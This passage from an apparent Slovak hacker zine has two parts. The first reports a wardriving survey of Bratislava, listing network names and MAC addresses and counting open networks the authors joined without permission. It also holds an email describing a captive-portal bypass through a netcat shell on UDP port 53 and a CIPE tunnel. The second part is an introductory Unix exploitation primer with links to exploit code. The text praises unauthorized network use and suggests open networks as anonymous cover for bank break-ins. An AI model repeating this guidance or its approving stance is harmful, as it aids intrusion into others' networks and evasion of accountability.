govline 00:02:78:e0:34:82 6 samsung ap nie
norton_home 00:02:2d:0c:fa:fb 11 agere (lucent) orinoco ap ano
tomas0 00:02:78:e2:00:31 8 samsung ap nie
--------------------------------------------------------------------------------

lokalita: tomasikova - drienova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tomas1 00:02:78:e1:44:17 9 samsung ap nie
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
txgrtobaj 00:90:4b:0b:5c:14 6 gemtek (d-link) ap ano
ANECT_BA-SSID#1 00:0a:8a:5f:33:50 7 ap ano
--------------------------------------------------------------------------------

lokalita: tomasikova - vajnorska
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tomas1 00:02:78:e1:44:17 9 samsung ap nie
tomas0 00:02:78:e2:00:31 8 samsung ap nie
tercoplast 02:90:c3:57:a5:87 1 peer ano
racsz 02:02:65:3b:6c:3b 3 peer nie
milnapal 00:90:4b:0b:5b:74 9 gemtek (d-link) ap ano
--------------------------------------------------------------------------------


statistika



skenovanim zopar vybranych lokalit v sirsom centre blavy sme nasli 143 wlan sieti.
z nich 26 bolo kryptovanych, co je len 18%; zvysnych 117 sieti bolo nekryptovanych.
z tych 117 zhruba na polovici sme vedeli byt aktivni bud automaticky pridelenymi dhcp udajmi, alebo
nakonfigurovanim ip adresy na zaklade tcpdumpu. zhruba na polovici sieti kde sme mohli
byt aktivni sme dokazali do par minut najst gateway alebo proxy von na internet.



zaverom



celkom sme sa bavili na tom ako nas okolo polnoci zastavila policajna hliadka
v okoli pionierskej ulice a snazili sa pochopit co nam to trci z auta :)
pohlad do auta plneho pozapinanych notebookov a kablov bol tiez iste zvlastny..
..nastastie boli policajti chapavi a nechali nas dokoncit nas "skolsky projekt" ;)



nuz ale, co dodat zaverom.. dnes v dobe handheldov s wireless interfejsmi a teenagermi, ktori si z
krabicky od Prinkles chipsov spravia yagi antenu by sme odporucali kryptovat
co sa len da. vid pripad "slavin", kde sme sa bavili na tom ako sa jeden nas
znamy pokusa najst nejake mp3 na warezackych kanaloch na ircnete, svet je maly :)



ukazalo sa ze pripojit sa na internet pomocou bezdratovej siete je v bratislave velmi
jednoduche. je to ten najanonymnejsi sposob pripojenia na internet aky existuje. nikto
vas nikdy nevystopuje. je to anonymnejsie ako cez gsm, pevnu linku, alebo v internetovej
kaviarni s umelymi fuzami. takze ak sa chystate na ten tucny hack velkej banky (viz dva prielomy dozadu),
staci si sadnut s malym notebookom niekde na slavin..


..a naco slavin, mozete sa hrat priamo doma alebo trebars na hoteli. zaujimavu story o pripajani sa
na bezdrat v norsku poslal maniac mailom:




Nooo,



mali sme hotel asi 500m od istej telekomunikacnej budovy vo Furnebu.
Tak som vytiahol notebuk na izbe, ze xecknem ci mame signal
a viola, signal strength: Excellent.
Dokonca aj DHCP sa rozficalo, dostal som verejnu ip, nska a gateway.
Bol to adresny priestor Telenor Mobile. Samozrejme bolo to komplet
zafirewallovane a browser mi na akekolvek url hodil uvitaciu obrazovku TM s
tym ze mozem mat testovaciu prevadzku na dobu 3 minuty :-)
Mali to dost advanced porobene, ziadne overflowy ani cross-site na to php
nezaberali. Nmapom som poscanoval pridelenu siet nasiel som tam este jednu
masinu - NTcka, ktore boli ale zaheslovane a nic sa s nimi nedalo riesit.
Pripomeniem ze prihlasovacia stranka TM bola na https.
Nasledne som zistil, ze kamkolvek spravim TCP konekt, dostanem odpoved asi
takuto: "http://10.0.10.1 HTTP/1.0". Dokonca pri pokuse o konekt na 25 alebo
110, alebo 21 bol pred tym url este 2xx-tkovy kod danej sluzby.
Cize niekto sa s tym celkom dobre vyhral.. Ta aplikacia sa vola NOMAD.



Napadlo ma este skusit ci fici dnsko priamo zvonka. A fici! Takze dalsi den
ked sme boli v Telenore, tak som si na localhost.sk pustil na jednej z ipeciek
netcat na porte 53/udp, ktory pustal tcsh. Hladal som nejaky rozumny tunel
ale
nic som nenasiel, takze som ostal pri tom netcate. Problem bol v tom, ze som
mohol spravit len jeden konekt. Akonahle som sa diskonektol tak uz sa nedalo
pripojit druhy krat, NC ostal vysiet, cize sa to nedalo poriesit cez
inittab/daemontools. Takze na hotel som odchadzal s tym ze mam presne jeden
pokus (samozrejme aj to len v pripade, ze mi v tedy na izbe naozaj odpovedal
localhos.sk a nebol to len nejaky fake cez NAT alebo take volaco).



Takze pomocou nc som sa cez udp/sport53/dport53 pripojil na lhost priamo z
hotela ;-) Problem bol v tom ze som nemohol riskovat ziadne ctrl+c/ctrl+d a
pod.
Zaroven som mal klasicky bindshellovsky terminal, cize ziadny :) V podstate
do stacilo na to aby som sa telnetom pripojil na irc resp ivan na talker.
No ale po chvili to chcelo troska vylepsit, aby sme mohli browsovat a tak :)
Spravil som pomocou styroch NC tcp->udp ----- udp->tcp tunel :) Zial nebolo
to dokonale a fical cez to len telnet, http proxy alebo ssh nie. Ale aspon
som mal uz full terminal na lhoste a mohol som volnejsie makat..


Vtedy mi maxo radil nejaky tunelovaci soft z mendrejku, ktory bol ale len
ako rpm cize nebol moc pouzitelny, tak som cez links a gugl hladal rozne
konbinacie udp+ppp tunelov a podobne. Nakoniec som sa rozhodol pre CIPE.


Takze som pustil druhy ncat na dalsej ipecke na lhoste, dalsi ncat na
notebooku a frcol som cez to take ze cipe.tgz. Na pocudovanie tento 200kb
fajl presiel asi za 2 sekundy :) Nasledne po nastudovani instalacie a
konfiguracie som rozbehol cipe PTP udp tunel medzi notebookom a lhostom na
portoch 53/54 udp (54 na notebooku preto, lebo na 53 bezal ncat s tcsh).


Cize uz som mal full konekt na lhost ktory fical cez CIPE. Mohol som na
lhoste spustit NAT a na notebooku si cez policy routing naroutovat fsetko
cez cipe/lhost, ale na lhoste som mal problemy s natom (nebol povodne v
jadre)
takze som na lhoste zinstaloval squida a na notebooku nastavil proxac na
nejakej 192.168.0.2 co bol lhost.


Nasledne som uz len popridaval ciped do startovacich skriptov na lhoste a
notebooku, takze po reboote notebooku som mal hned konekt k plnej
spokojnosti a mohol som trackovat www/ftp a vsetko ostatne ;-)


Prenosova rychlost bola okolo 260kB/s t.j. 2mbit/s . Stiahli sme si teda
nejake filmy, mp3ky a vobec :)



maniac



P.S. priamo vnutri fornebu mali vsade cisco 802.11 wifi APcka, maixmalny
pocet mi ich naratalo 15 v jednom meetingroome.




..no pekny zazitok z norska.. budeme velmi radi ak sa niekto chyti tych dat co sme dali dokopy a
rozsiri ich o poznatky vo svojej geografickej oblasti. vynechali sme cele velke casti blavy ako dolne hony, racu,
nove mesto, biskupice, devin, atd. teoreticky by slo potom takto nazhromazdene poznatky prezentovat
na hysterke vo forme akejsi mapy ci
databazy. no a samozrejme budeme velmi radi ak niekto preskenuje aj ine mesta.. urcite budu zaujimave
kosice, zilina, presov, no a samozrejme praha ci brno.. ak by niekto z prislusnych miest chcel pomoc s
metodikou ci hardwarom, ozvite sa na boarde a mozno si spravime prieskumny vylet do vasho mesta :)
ono v podstate vam staci jeden notebook, mala omni antena a sadnut si na mestsku hromadnu dopravu - vyberte
si nejaku linku ktora chodi krizom-krazom po meste.. :)



jo a mimochodom fotky z nasej jazdy su na http://hysteria.sk/prielom/pics/wifi-drive/



co nabuduce ? noo tu je nas maly "todo" zoznam veci ktore by sa mohli objavit v planovanom pokracovani tohto clanku v
buducom prielome:


  • zobrat si so sebou sprej alebo aspon kriedu na znackovanie najdenych sieti, viz http://www.warchalking.org/
  • tiez by sme mohli zistit preco nam niektore velmo uzitocne utilitky nefachali (urlsnarf, sniffit..)
  • skusit pcmcia kartu z prismII chipsetom aby sme mohli vyskusat novy projekt z packetfactory.net
    http://www.packetfactory.net/projects/radiate s ktorym by sa dalo DoSovat wifi siete, ale tiez ze stym chipsetom sa da
    dostat uplne na uroven 802.11b
  • kupit staru 1203 dodavku, dovnutra namontovat stol na PCka a na strechu antenu...
  • do dalsieho clanku chceme dat detailnejsie postupy na pripojenie na AP, hladanie default routy, takeover hostov..



    ..a tiez skusit tie kryptovane siete. treba sa pripravit - budu pribudat. takato eterova anarchia ktoru sme
    zazili nemoze predsa trvat vecne, alebo ano !?



    bezsnuram zdar !




    antonio, antonio @hysteria.sk

    maniac, maniac @hysteria.sk

    pajka, pajkus @hysteria.sk




    navrat na obsah

    co ty na to ? board






    bezpecne programovanie pod unixom



    Tento dokument sluzi ako uvod do problematiky vzdialenych a lokalnych exploitov. Hovori o vyuziti castych
    programatorskych chyb, pisani programov pre vniknutie do systemu a o moduloch jadra ako maskovacom mechanizme hackera.
    Obsahuje tiez strucny uvod do hackerskych utilit v UNIX-e. Ak ste uz ako-tak spoznali UNIX a chcete sa dostat hlbsie do
    tmavsich zakuti, tymto dokumentom treba zacat.



    Historia UNIXu



    Unix je operacny system, ktory vznikol v roku 1969 v Bellovych Laboratoriach.
    Najznamejsimi vyvojarmi pracujucimi na jeho vzniku boli Dennis Ritchie, Ken Thompson,
    M.D. McIlroy a J.F. Ossanna. Mal byt odpovedou na vladou a armadou podporovany projekt
    MULTICS, ktory sa ale opakovane omeskaval. Najskor bol pisany priamo v
    assembleri pre PDP7 a az neskor (1973) v novovyvinutom programovacom jazyku "C". To mu umoznovalo
    velmi vysoku prenositelnost po implementovani jazyka C na inych architekturach ako DEC PDP7/PDP10.
    Prvotnym zamerom horeuvedenych panov bolo vraj napisanie hry typu Space Invaders pre
    nevyuzitu PDP7-cku.



    Z povodneho UNIX-u sa vyvinulo mnoho vetiev. Vsetky maju ale zakladne prvky rovnake -
    system sa sklada z jadra, pripadne modulov jadra, mnohych drobnych systemovych nastrojov a aplikacii.
    K zariadeniam sa pristupuje pomocou specialnych suborov, zvycajne v adresari /dev.
    System je dnes 32 (a viac) bitovy, viaculohovy (multitaskovy), podporuje vlakna (thready) - je preemptivny.
    Vacsina implementacii UNIXu splna normu POSIX (Portable Operating System Interface).



    Dnes sa z komercnych UNIX-ov najcastejsie mozeme stretnut so systemami ako Solaris (SUN
    Microsystems), HP-UX (Hewlet-Packard), DIGITAL UNIX (TRU64-UNIX) (Digital/Compaq)
    pripadne AIX (IBM). Z volne siritelnych unixovych operacnych systemov su to
    najma Linux (mix vetiev BSD a SYSTEM V.) a Free BSD (BSD4.4 vetva).
    Unix sa vyznacuje vysokou stabilitou, skalovatelnostou a rozsiahlimi moznostami konfiguracie.



    Strojovy jazyk, jazyk symbolickych adries (assembler)



    Strojovy jazyk je kod, ktory je nacitavany procesorom z pamate a nasledne vykonavany.
    Je predstavovany bajtmi (byte), slovami (word) pripadne ich kombinaciami.
    Su to kombinacie intrukcii a dat. Aby clovek, ktory chce ovladat procesor
    na najnizsej urovni nemusel pracne pisat program v strojovom kode,
    bol vyvinuty jazyk symbolickych adries - assembler. V tomto jazyku mozme pisat
    program v cloveku zrozumitelnej forme a po preklade na binarny kod vykonavatelny procesorom.
    Data (operandy) predstavuju bajty, wordy, doublewordy, pripadne este vacsie datove typy.
    Byte ma tu vlastnost, ze sa da don ulozit cele cislo v rozsahu 0-255 (8 bitov).
    V pripade ze je vysledok aritmetickej operacie vacsi ako 255 a ma byt
    ulozeny do bajtu, vysledne cislo bude rovne vysledku operacie modulo 255,
    teda nie cislo, ktore by sme mozno ocakavali :). Zaroven sa nastavi indikator
    pretecenia (CF - Carry Flag). Toto je vlastne uplne najjednoduchsi priklad
    pretecenia (overflow). Velkost wordu zavysi od architektury o ktorej sa bavime.
    U wordu (v pripade 16 bit architektury) to je podobne, ale ukladane cislo moze
    mat rozsah 0-65535 (16 bitov), doubleword predstavuje 32 bitov, quadword uz obsahuje 64bitov.
    Pretecenie teda oznacuje operaciu (aritmeticku, ale aj logicku -
    tj. integer nebo cast overflow), ktorej vysledok presiahne
    moznosti pouziteho datoveho typu. Okrem aritmetickej a logickej operacie sa moze jednat
    aj o blokovu operaciu vyuzivajucu buffer - tu sa potom hovori o tzv buffer overflow
    (pretecenie vyrovnavacej pamate) a prave tato varianta bude casto spominana v tomto dokumente.



    Priklad programu scitania v assembleri vyuzivajuceho volanie unixovej funkcie zobrazenia textu
    na terminal - printf. Jedna sa o disassembling (spatne prelozenie) kodu vygenerovanego kompilatorom
    gcc 2.95.3. K dissasemblovaniu bol pouzity debugovaci (ladiaci) program gdb verzie 5.0. Uvedene priklady
    sa budu tykat architektury linux/i386 pokial nebude uvedene inac.




    Dump of assembler code for function main:
    0x80483e4
    : push %ebp - ulozit puvodni ebp
    0x80483e5 : mov %esp,%ebp - zacatek stack-frejmu do ebp
    0x80483e7 : sub $0x18,%esp - vytvorit 24bajtovy frame
    0x80483ea : movl $0x2,0xfffffffc(%ebp) - ulozime cislo 2 na adresu ebp-4
    0x80483f1 : movl $0x3,0xfffffff8(%ebp) - ulozime cislo 4 na adresu ebp-8
    0x80483f8 : mov 0xfffffffc(%ebp),%eax - cislo na ebp-4 do eax
    0x80483fb : mov 0xfffffff8(%ebp),%edx - cislo na ebp-8 do edx
    0x80483fe : lea (%edx,%eax,1),%ecx - ecx = eax + edx
    0x8048401 : mov %ecx,0xfffffff4(%ebp) - vysledek v ecx uloz na adresu ebp-12
    0x8048404 : mov 0xfffffff4(%ebp),%eax - precti z adresy ebp-12 do eax
    0x8048407 : push %eax - uloz vysledek (argument pro printf)
    0x8048408 : mov 0xfffffff8(%ebp),%eax - 2. operand scitani do eax
    0x804840b : push %eax - uloz 2. operand scitani (-"-)
    0x804840c : mov 0xfffffffc(%ebp),%eax - 1. operand scitani do eax
    0x804840f : push %eax - uloz 1. operand scitani (pro printf)
    0x8048410 : push $0x8048470 - uloz adresu adresu formatovaciho retezce pro printf
    0x8048415 : call 0x8048300 - zavolaj podprogram (funkcia printf)
    0x804841a : add $0x10,%esp - zrus predchozi pushnute argumenty
    0x804841d : leave - zrus stack frejm
    0x804841e : ret - navrat z podprogramu


    Jazyk C



    Jazyk C bol vyvinuty ako UNIX tiez v AT&T Bell Labs. Jeho tvorcom bol v roku
    1972 Dennis Ritchie. C je na vyssej urovni ako assembler, ale stale na dostatocne
    nizkej, aby mohol programator pisat velmi efektivny kod. Programator je
    zodpovedny aj za integritu dat, samotny jazyk nerobi ziadne, alebo len
    minimalne kontroly toho co programator napise. Casto sa tu pouziva vyraz
    buffer, alebo pole. Jedna sa o suvisly blok pamate, v ktorom sa viac krat
    vyskytuju data rovnakeho typu. Staticke buffre su pevne definovane v
    zdrojovom kode a su alokovane pri nahravani programu v datovom segmente pamate.
    Dynamicke polia su definovane cez pointre a su vytvorene pocas behu programu
    v pridelenom segmente (pridelovanie zavysi od implementacie *alloc() v glibc).
    Vdaka obmedzeniam statickych poli sa vo vacsine programov stretneme s ich dynamickou verziou.
    Preto sa utoky vyuzivajuce modifikaciu zasobnika (Smashing the stack alebo stack
    overflows) zaoberaju prave dynamickymi poliami.



    V jazyku C sa casto vyuzivaju datove typy ako napriklad integer, char a podobne.
    Tak ako v assembleri typ Word zalezal od architektury, tak je to v Cecku pri integeri.



    Priklad programu scitania (zhodny s programom v assembleri):



    /pr.0x3.1/
    #include - nacitanie hlavickoveho suboru obsahujucu funkciu printf
    main() - vstup do programu - funkcia main
    {
    int a,b,c; - definovanie datoveho typu pre premenne a,b,c
    a = 2; - priradenie hodnoty premennej a
    b = 3; - priradenie hodnoty premennej b
    c = a + b ; - vysledok scitania premennej a s premennou b sa ulozi do premennej c
    printf("%d + %d = %dn",a,b,c); - vypise sa vysledok
    }



    UNIXove procesy a zasobnik (stack)



    Bezici procesy na 32 bitovych intel systemech jsou zpravidla rozdeleny
    na tri oblasti: text, data a stack. Na
    zaciatku, pri spusteni programu sa oblast textu a dat nahra priamo do
    aktivnej pamate. Data sa rozdelia na inicializovane data a neinicializovane
    data oznacovane ako BSS. BSS data su umiestnene vyssie v pamati ako
    inicializovane data, pricom oblast textu zaberie najnizsiu adresu
    (najblizsiu k 0x00000000). BSS data niesu staticky ulozene v subore, pretoze
    tato oblast byva alokovana blokom pamate vyplnenym nulami. V oblasti BSS
    su ulozene informacie ako staticke premenne. Velkost datovej oblasti moze byt
    modifikovana funkciou brk(), ktoru popisuje standart POSIX 2.9 (unistd.h).
    V pripade ze bss-data alebo uzivatelsky zasobnik vyplitvaju pouzitelnu pamat,
    beziaci proces je zablokovany a je naplanovne aby sa znova spustil s vacsim
    mnozstvom pamate. Nova pamat je pridana medzi stackom a datovymi segmentami
    v neinicializovanom regione.

    Textovy region je read-only zdielany (mmapovane) vsetkymi procesmi spustajucimi subor.
    Pokus o zapis do tohto regionu sa prejavi vyjimkou porusenim segmentacie
    (segmentation violation). Toto je rozdiel oproti datovej a stack oblasti,
    ktore su zapisovatelne a su samostatne pre kazdy proces.




    Znazornenie UNIXoveho procesu v pamati (aktivny) a na disku (ulozeny).




    0xFFF00000 +-------------------------------+
    (vysoke adresy) | zasobnik jadra pre procesy |
    +-------------------------------+
    | cervena zona |
    +-------------------------------+
    | uzivatelska oblast |
    +-------------------------------+
    | ps_retazce struktura |
    +-------------------------------+
    | signalizacny kod |
    +-------------------------------+ - -
    | premenne prostredia |
    +-------------------------------+
    | argv retazce |
    +-------------------------------+
    | pointre prostredia | argumenty prikazoveho riadku
    +-------------------------------+ a premenne shellu
    | argv pointre | /
    +-------------------------------+ /
    | argc | /
    +-------------------------------+ - -
    | uzivatelsky zasobnik |
    | | |
    | V |
    | |
    | |
    | |
    | ^ |
    | | |
    | kopa (heap) |
    +-------------------------------+ +-----------------------+
    | bss | | tabulka znakov |
    +-------------------------------+ - - - - - - - +-----------------------+
    | inicializovane data | | inicializovane data |
    +-------------------------------+ - - - - - - - +-----------------------+
    0x00000000 | text | | text |
    (nizke adresy) +-------------------------------+ - - - - - - - +-----------------------+
    proces v pamati | |
    | hlavicka linkeru |
    | a magicke cislo |
    | |
    +-----------------------+
    subor na disku.


    Zasobnik sa jednoznacne lisi od textu a dat. Nadolezitejsie je, ze zasobnik je dynamicky
    a urceny za behu, na rozdiel od statickych dat, ktore su jednoducho nahrane do pamate. S polozkami
    zasobnika sa pracuje systemom LIFO (Last In, First Out).



    Pri sputani a ukoncovani standartnej funkcie C musi byt volana procedura 'uvod' alebo
    'zaver', ktore ulozia dosavadne premenne, vytvoria miesto pre nove premenne a vice versa
    v pripade ukoncenia funkcie. Predchadzajuci FP (Frame Pointer) je ulozeny, vytvori sa novy FP
    a SP (stack pointer) pracuje s ohladom na jeho nove lokalne premenne. Tu je priklad:



    /pr.0x4.1/
    void function(int a, int b, int c) {
    char buffer1[5];
    char buffer2[10];
    }


    void main() {
    function(1,2,3);
    }



    V assembleri bude ekvivalent volania function() horeuvedenej funkcie nasledovny:


    /pr.0x4.2/
    pushl $3 ; uloz argument 3 pre function()
    pushl $2 ; uloz argument 2 pre function()
    pushl $1 ; uloz argument 1 pre function()
    call function ; zavolaj function() a uloz IP (Instruction Pointer) na vrch zasobnika



    Tento kod ulozi 3 argumenty volanej funkcie odzadu do zasobnika a zavola function(). Instrukcia call
    ulozi IP (nasledujucej instrukcie za call-om) na vrch zasobnika. To zabezpeci, ze ked skonci
    podprogram, ktory bol zavolany a vykona instrukciu ret, nacita sa adresa IP zo zasobnika
    a program bude pokracovat na danej adrese.



    Prva vec, ktora sa udeje vo funkcii je procedura 'uvod':




    /pr.0x4.3/
    pushl %ebp ; uloz frame pointer na zasobnik (sfp = saved frame pointer)
    movl %esp, %ebp ; zjisti adresu konce budouciho frame pointeru


    Najprv sa frame pointer - EBP ulozi do zasobnika. Aktualne SP sa nasledne zkopiruje do EBP,
    cim z neho vytvori novy Frame Pointer. Nakoniec sa procedura 'zaver' vyberie alokovat miesto pre lokalne
    premenne odpocitavanim ich velkosti od SP. Prekladac gcc zpravidla zarovnava vsechny promenne
    na zasobniku na nasobky wordu (zpravidla na 4 nebo 16 bajtu)
    to vysvetluje, preco je v tomto priklade od SP odratana hodnota 20. Zdrojovy kod v priklade pr.0x4.1
    pouziva 5 bajtovy buffer, takze sme museli alokovat 2 wordy (8 bajtov) a pre 10 bajtovy buffer 3 wordy (12 bajtov).
    Teda oba buffre dokopy davaju 20 bajtov (a nie 15 ako by sa mohlo zdat), ked berieme do uvahy 4-bajtovu
    velkost slova na Intel x86 procesoroch.



    Takto bude vyzerat blok pamate zahrnajuci uzivatelsky zasobnik:



    +-----------------------+
    |,,,,,,,argc,,,,,,,,,,,,|
    +=======================+
    |..uzivatelsky.zasobnik.|
    +-----------------------+
    | c |
    +-----------------------+
    | b |
    +-----------------------+
    | a |
    +-----------------------+
    | ret |
    +-----------------------+
    | sfp |
    +-----------------------+
    | buffer1 |
    +-----------------------+
    | buffer2 |
    +-----------------------+
    |.......heap............|
    +=======================+
    |,,,,,,,bss,,,,,,,,,,,,,|
    +-----------------------+




    Programatorske chyby



    Historia zneuzivania programatorskych chyb.



    Najznamejsie pripady zneuzitia buffer overrunov

  • 1987 Robert Tappan Morris : Internet Worm (blizsie info RFC 1135)
    Zneuzitim dier v sendmaile a fingerd bola prerusena prevadzka velkej casti internetu.
  • 1995 Kevin Mitnick vs Tsutomu Shimomura (blizsie info http://www.takedown.com)
    Suboj asi najznamejsieho hackera/crackera a specialistu na bezpecnost v IT.



    Druhy programatorskych chyb



    Fandango on Core

    V programovacom jazyku C sa tento vyraz pouziva pre vsetky pripady,
    kedy sa pointer dostane mimo vymedzenych hranic, co sposobi core dump alebo
    poskodenie pamate. Toto je zakladom stack smashing a heap/bss bezpectnostnych dier.
    Mozme sa stretnut aj s inymi pomenovaniami, ale zvacsa pri tom ide opat
    o nechcene operacie s dynamicky pridelenou pamatou. Tento vyraz je odvodeny
    od Spanielskeho tanca ;-).



    Overruns screw

    Je to variacia Fandango on Core. Popisuje pripad, ked pracujeme za
    koncom hranic definovaneho pola. Chybajuce testovanie hranic v jazyku C
    vydatne podporuje tento jav. Takto sa chovajuci program je opat jednym so
    zakladych prvkov pri stack smashing utoku.



    Smashing, Trashing, Scribbing the Stack

    Variacia overrun screw, vznikne zapisom za koniec definovaneho pola,
    kedy prepiseme navratovu adresu v zasobniku. Program odskoci na nahodnu adresu a preplni
    vstup velkym mnozstvom dat, co prepise pevne definovany buffer.



    Aliasing, Stale, Dangling Pointer Bugs

    Termin zauzivany uz v rokoch okolo 1960 pri programovacich jazykoch
    Fortran a Algol. Je to skupina chyb, kedy program vyuziva viac ako jeden pointer,
    alebo alias na pointer, ktory ma ukazovat na blok dynamicky pridelenej pamate.
    Ak je pamat modifikovana pouzitim prveho aliasu a druhy s tym neratal
    moze vzniknut neprijemny problem - nespojitost, alebo strata dat.



    Bohr Bug

    Jedna sa o chybu, ktora je opakovatelna. Teda vieme presne popisat
    v akom pripade sa vyskytne. Tento vyraz je odvodeny z kvantovej fyziky.



    Heisenbug

    Vyraz opisujuci chybu, ktora zmizne akonahle sa nanu zameriame (napr. zapnutim debugu).
    Moze ist napriklad o chybu, ktorej staci nepatrna zmena v systemovom prostredi,
    alebo v pamati na to, aby sa neprejavila. Obcas sa zvykne nazyvat aj Mandelbug,
    alebo Schroedinbug. Vysledkom je z pravidla fandango on core alebo stack smashing.
    Tento vyraz je odvodeny z kvantovej fyziky.



    Mandelbug

    Chyba, ktorej prejav je prilis zlozity az nedeterministicky.
    Tento vyraz bol odvodeny z Mandelbrotovej mnoziny.



    Schroeding Bug

    Nahodne, alebo aj umyselne najdena chyba v zdrojovom kode, alebo chyba ktora sa objavila
    az pri neplanovanom vyuziti programu - nestandartny vstup, alebo podmienky behu.



    Precedence loosage

    V pripade vyrazu vyzivajuceho viacero aritmetickych operacii moze programator stratit prehlad nad ich
    prioritou, resp. poradim vykonania.



    Memory leak, Core leak (presakovanie pamate)

    Program pri svojom behu dynamicky alokuje pamat a v pripade, ze ju nedealokuje spravne, zacne naberat
    na velkosti. Moze sa stat ze vycerpa vsetku pamat systemu.



    Deadlock

    Nekonecka slucka ktora vznikne cakanim na priznak, ktory sa ale neobjavi, pretoze sa s jeho nastavenim
    opat na nieco caka (napriklad na vykonanie uz cakajuceho programu).
    Objavuje sa napriklad pri zamykani suborov dvomi aplikaciami.



    Utocnicke techniky




    Exploit


    Co je to vlastne exploit? Je to program, ktory zneuziva chybu v inom
    programe za ucelom ziskania privilegii, na ktore nemame opravnenie.
    Exploity mozu byt lokalne - na ich spustenie musime mat uzivatelsky ucet na
    cielovom pocitaci, alebo aspon shell pristup (napr. cez bindshell). Lokalne
    chyby sa zvacsa tykaju suid programov, ktorym dame na vstup, alebo do
    systemovych premennych data, ktore preplnia buffer nasej suid aplikacii a
    docielime toho, ze sa z nami vlozenych dat stane kod, ktory sa spusti.
    Dalej sa moze jednat o tmp-race - ked program s vyssimi privilegiami pri svojom behu
    pouziva /tmp adresar (pristupny vsetkym uzivatelom) na uchovanie docasnych suborov.
    Hacker moze vytvorit dopredu linku, ktora bude smerovat na subor, ktory sa ma
    zobrazit/prepisat. Pokial je suid program zle napisany a nezisti ze taky
    subor uz existuje (nezistuje pritomtost daneho suboru a nevytvara ho atomicky),
    resp. ze to je link, utocnik docieli manipulacie so suborom na ktory smeruje
    link s pravami suid programu. Takto mozme napr. do suboru /root/.rhosts vlozit
    retazec '+ +', alebo precitat systemovy shadow subor.
    Dalsia moznost je spravit utok na jadro, cez pipe, device, alebo /proc filesystem.
    Vzdialeny exploit zneuziva chybu v aplikacii pocuvajucej na nejakom
    tcp/udp porte, pripadne sledujucej traffic na sieti. V extremnom pripade by
    bolo mozne uvazovat o remote exploite na ip-stack zariadenia na sieti. Pri
    takychto utokoch sa jedna vacsinou o chybu v aplikacii, ked sa nedostatocne
    kontroluje vstup (jeho velkost, esc sekvencie).



    Priklad

  • Exploitov existuje mnozstvo, takmer kazda sietova aplikacia alebo SUID program mal v minulosti
    nejaku dieru a pravdepodobne existuje exploit prave na tu deravu verziu. Tak isto aj autorov exploitov
    existuje nespocet. Z najznamejsich by som mohol menovat skupiny ako ADM (http://adm.freelsd.net),
    w00w00 (http://www.w00w00.org), TESO (http://teso.scene.at), GOBBLES (http://www.bugtraq.org).
    Z jednotlivcom napriklad Michal Zalewski (http://lcamtuf.coredump.cx/),
    dugsong (http://www.monkey.org/~dugsong/) a naozaj velmi vela dalsich.
  • Linux 2.2.0 -> 2.4.9 ptrace exploit http://hysteria.sk/sd/f/exploits/ptrace24.c
  • Qpop 2.4 remote exploit http://www.monkey.org/~dugsong/


    Suid program po spusteni dostane uid/gid vlastnika suboru. O tom ci je
    alebo nieje program suid rozhoduje priznak suboru - suid bit.
    Jedinou autentifikaciou je zvacsa len uid/gid uzivatela, ktory binarku spusta.
    V pripade vyuzitia buffer overrunu na suid binarku hovorime o lokalnom utoku.



    Priklad

  • Screen3.9.11 local root exploit (24.4.2002) http://packetstorm.dnsi.info/0204-exploits/screen-stuff.tgz
  • SGI security advisory - Suidperl BOF http://packetstormsecurity.org/advisories/sgi/sgi.19980404-01-i.suidperl



    Ochrana

  • minimalne mnozstvo suid (root) programov a aj to len pre uzivatelov, ktory ich nutne potrebuju
  • najdeme ich takto: find / -user root -perm -004000 -ls
  • pouzivanie preverenych suid programov (open source, aktualna verzia)
  • primountovanie filesystemov ako /home, /var a pod. s parametrem no-suid, takze suid bit
    ztraci svuj zadany efekt (napr. super-user shelly hackery tam zanechane postradaji na funkcnosti ;-)



    Sniffinig


    Sniffing je taktika, kedy utocnik vidi traffic na urovni sietoveho
    adapteru. Tam su v pripade zdielanieho spojenia (napr. ethernet) zvacsa aj data urcene
    nielen pre dany adapter. Este nebezpecnejsie je, ked prepne sietovy adapter do PROMISC rezimu.
    Vtedy interface prijima aj take framy, ktore nemaju v l2 hlavicke svoju
    mac adresu ako ciel. Vo vacsine pripadov sa jedna prave o PROMISC sniffing.



    Priklad

  • hunt je sniffer/interceptor do switchovaneho prostredia http://packetstormsecurity.org/sniffers/hunt/hunt-1.5.tgz
  • ettercap tiez ako hunt http://packetstormsecurity.org/sniffers/ettercap/ettercap-0.6.5.tar.gz
  • dsniff pozna casto pouzivane protokoly (pop3,ftp,telnet,stmp..) a uklada hesla/data v prehladych suboroch


    Ochrana

  • jadro posle hlasku o prepnuti do/z promisc rezimu do syslogu
  • detekcia promisc karty na sieti - mozte zistit, ze pri vasej komunikacii sa
    nejaky dalsi stroj sa snazi resolvovat reverzne dns zaznamy vami kontaktovanych IP adries
  • pouzivanie switchov miesto hubov
  • utility ako antisniff a podobne
  • kryptovat vsetku moznu komunikaciu
  • pouzivat hesla obsahujuce nezobrazitelne znaky



    Spoofing


    Utocnik posiela packety (zvycajne udp/icmp) s inou zdrojovou adresou, ako je
    jeho vlastna. Takto sa daju ucinne obist packet-filtre (firewally). Samozrejme
    ak chce obet odpovedat, odpoveda nie utocnikovi ale nic netusiacej stanici,
    ktora bola uvedena ako zdrojovoa adresa v hlavnicke spoofnuteho IP packetu.
    Spoofing nefunguje pri TCP spojeniach, pretoze tu je potrebny 3-way handshaking.



    Ochrana

  • Pouzivat firewallovacie pravidla, ktore znemoznuju prichod packetu z internej siete
    cez vonkajsi interface.
  • ISP by mali filtrovat svoj odchodzi traffic aby sa von dostali len packety
    z vlastneho rozsahu
  • Ak je to mozne, tak akceptovat len spojenia vytvorene vasou stanicou



    ARP-poisoning


    Tato technika sa pouziva v prepinanom prostredi (switch)

  • Utocnik posiela falosne arp-reply packety inemu pocitacu/routru. Dosiahne tym,
    ze traffic urceny pre iny pocitac bude smerovany na jeho MAC adresu a
    samozrejme aj na jeho port vo switchi akoby bol urceny priamo jemu.



    Ochrana

  • MAC security na switchi zabrani jenej IP adrese objavovat sa na roznych portoch v kratkom casovom intervale
  • Staticke zaznamy v ARP tabulke



    DNS-spoofing


    Ked posle obet dns request na nejaku domenu a utocnik odpovie rychlejsie ako
    dns server a zna ID query (napr hore spominany sniffing,
    nebo ho proste uhadne), obet dostane zdanlive spravnou odpoved, ale od nespravneho
    zdroje.



    Ochrana

  • dnssec - system checksumovania requestov/responsov



